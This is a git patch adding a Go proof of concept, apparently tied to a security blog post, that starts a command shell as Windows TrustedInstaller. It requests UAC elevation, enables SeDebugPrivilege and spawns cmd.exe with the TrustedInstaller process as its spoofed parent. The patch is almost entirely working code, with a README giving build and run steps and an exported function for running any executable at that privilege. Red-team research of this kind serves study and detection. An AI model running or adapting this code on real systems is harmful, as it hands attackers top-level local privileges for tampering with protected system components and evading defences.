From ad6540b29f8a7dacbf59418af5cc21c76b263a0e Mon Sep 17 00:00:00 2001 From: Swapnil Date: Wed, 15 Feb 2023 20:08:34 +0530 Subject: [PATCH] Add TrustedInstaller POC --- README.md | 11 +++++ functions.go | 120 +++++++++++++++++++++++++++++++++++++++++++++++++++ go.mod | 5 +++ go.sum | 2 + main.go | 83 +++++++++++++++++++++++++++++++++++ 5 files changed, 221 insertions(+) create mode 100644 README.md create mode 100644 functions.go create mode 100644 go.mod create mode 100644 go.sum create mode 100644 main.go diff --git a/README.md b/README.md new file mode 100644 index 0000000..deee2e1 --- /dev/null +++ b/README.md @@ -0,0 +1,11 @@ +# TrustedInstaller +A simple Proof of Concept in Golang to start a new shell as TrustedInstaller. This code accompanies FourCore's blog about TrustedInstaller. It is important to note that you need to run this as a user which has SeDebugPrivileges. Upon running, it will automatically ask for UAC in case you are not running as an Administrator. + +Use the `RunAsTrustedInstaller` function to pass any executable to be run with TrustedInstaller privileges. + +To run +1. git clone the repository +2. ensure you have go compiler installed +3. You can either build a binary using `go build ti` or run it directly using `go run ti` + +It will spawn a new cmd shell as TrustedInstaller which you can check by running `whoami /all` diff --git a/functions.go b/functions.go new file mode 100644 index 0000000..ece920f --- /dev/null +++ b/functions.go @@ -0,0 +1,120 @@ +package main + +import ( + "fmt" + "os" + "strings" + "syscall" + "unicode/utf16" + "unsafe" + + "golang.org/x/sys/windows" + "golang.org/x/sys/windows/svc/mgr" +) + +func openService(mgrHandle windows.Handle, name string) (*mgr.Service, error) { + n, err := windows.UTF16PtrFromString(name) + if err != nil { + return nil, err + } + h, err := windows.OpenService(mgrHandle, n, windows.SERVICE_QUERY_STATUS|windows.SERVICE_START|windows.SERVICE_STOP|windows.SERVICE_USER_DEFINED_CONTROL) + if err != nil { + return nil, err + } + return &mgr.Service{Name: name, Handle: h}, nil +} + +func enableSeDebugPrivilege() error { + var t windows.Token + if err := windows.OpenProcessToken(windows.CurrentProcess(), windows.TOKEN_ALL_ACCESS, &t); err != nil { + return err + } + + var luid windows.LUID + + if err := windows.LookupPrivilegeValue(nil, windows.StringToUTF16Ptr(seDebugPrivilege), &luid); err != nil { + return fmt.Errorf("LookupPrivilegeValueW failed, error: %v", err) + } + + ap := windows.Tokenprivileges{ + PrivilegeCount: 1, + } + + ap.Privileges[0].Luid = luid + ap.Privileges[0].Attributes = windows.SE_PRIVILEGE_ENABLED + + if err := windows.AdjustTokenPrivileges(t, false, &ap, 0, nil, nil); err != nil { + return fmt.Errorf("AdjustTokenPrivileges failed, error: %v", err) + } + + return nil +} + +func parseProcessName(exeFile [windows.MAX_PATH]uint16) string { + for i, v := range exeFile { + if v <= 0 { + return string(utf16.Decode(exeFile[:i])) + } + } + return "" +} + +func getTrustedInstallerPid() (uint32, error) { + + snapshot, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0) + if err != nil { + return 0, err + } + defer windows.CloseHandle(snapshot) + + var procEntry windows.ProcessEntry32 + procEntry.Size = uint32(unsafe.Sizeof(procEntry)) + + if err := windows.Process32First(snapshot, &procEntry); err != nil { + return 0, err + } + + for { + if strings.EqualFold(parseProcessName(procEntry.ExeFile), tiExecutableName) { + return procEntry.ProcessID, nil + } else { + if err = windows.Process32Next(snapshot, &procEntry); err != nil { + if err == windows.ERROR_NO_MORE_FILES { + break + } + return 0, err + } + } + } + return 0, fmt.Errorf("cannot find %v in running process list", tiExecutableName) +} + +func checkIfAdmin() bool { + f, err := os.Open("\\\\.\\PHYSICALDRIVE0") + if err != nil { + return false + } + f.Close() + return true +} + +func elevate() error { + verb := "runas" + exe, _ := os.Executable() + cwd, _ := os.Getwd() + args := strings.Join(os.Args[1:], " ") + + verbPtr, _ := syscall.UTF16PtrFromString(verb) + exePtr, _ := syscall.UTF16PtrFromString(exe) + cwdPtr, _ := syscall.UTF16PtrFromString(cwd) + argPtr, _ := syscall.UTF16PtrFromString(args) + + var showCmd int32 = 1 //SW_NORMAL + + if err := windows.ShellExecute(0, verbPtr, exePtr, argPtr, cwdPtr, showCmd); err != nil { + return err + } + + os.Exit(0) + return nil +} diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..670a667 --- /dev/null +++ b/go.mod @@ -0,0 +1,5 @@ +module ti + +go 1.20 + +require golang.org/x/sys v0.5.0 diff --git a/go.sum b/go.sum new file mode 100644 index 0000000..ba21016 --- /dev/null +++ b/go.sum @@ -0,0 +1,2 @@ +golang.org/x/sys v0.5.0 h1:MUK/U/4lj1t1oPg0HfuXDN/Z1wv31ZJ/YcPiGccS4DU= +golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= diff --git a/main.go b/main.go new file mode 100644 index 0000000..b541763 --- /dev/null +++ b/main.go @@ -0,0 +1,83 @@ +package main + +import ( + "fmt" + "os/exec" + "syscall" + + "golang.org/x/sys/windows/svc" + "golang.org/x/sys/windows/svc/mgr" + + "golang.org/x/sys/windows" +) + +const ( + seDebugPrivilege = "SeDebugPrivilege" + tiServiceName = "TrustedInstaller" + tiExecutableName = "trustedinstaller.exe" +) + +func RunAsTrustedInstaller(path string, args []string) error { + if !checkIfAdmin() { + if err := elevate(); err != nil { + return fmt.Errorf("cannot elevate Privs: %v", err) + } + } + + if err := enableSeDebugPrivilege(); err != nil { + return fmt.Errorf("cannot enable %v: %v", seDebugPrivilege, err) + } + + svcMgr, err := mgr.Connect() + if err != nil { + return fmt.Errorf("cannot connect to svc manager: %v", err) + } + + s, err := openService(svcMgr.Handle, tiServiceName) + if err != nil { + return fmt.Errorf("cannot open ti service: %v", err) + } + + status, err := s.Query() + if err != nil { + return fmt.Errorf("cannot query ti service: %v", err) + } + + if status.State != svc.Running { + if err := s.Start(); err != nil { + return fmt.Errorf("cannot start ti service: %v", err) + } else { + defer s.Control(svc.Stop) + } + } + + tiPid, err := getTrustedInstallerPid() + if err != nil { + return err + } + + hand, err := windows.OpenProcess(windows.PROCESS_CREATE_PROCESS|windows.PROCESS_DUP_HANDLE|windows.PROCESS_SET_INFORMATION, true, tiPid) + if err != nil { + return fmt.Errorf("cannot open ti process: %v", err) + } + + cmd := exec.Command(path, args...) + cmd.SysProcAttr = &syscall.SysProcAttr{ + CreationFlags: windows.CREATE_NEW_CONSOLE, + ParentProcess: syscall.Handle(hand), + } + + err = cmd.Start() + if err != nil { + return fmt.Errorf("cannot start new process: %v", err) + } + + fmt.Println("Started process with PID", cmd.Process.Pid) + return nil +} + +func main() { + if err := RunAsTrustedInstaller("cmd.exe", []string{"/c", "start", "cmd.exe"}); err != nil { + panic(err) + } +}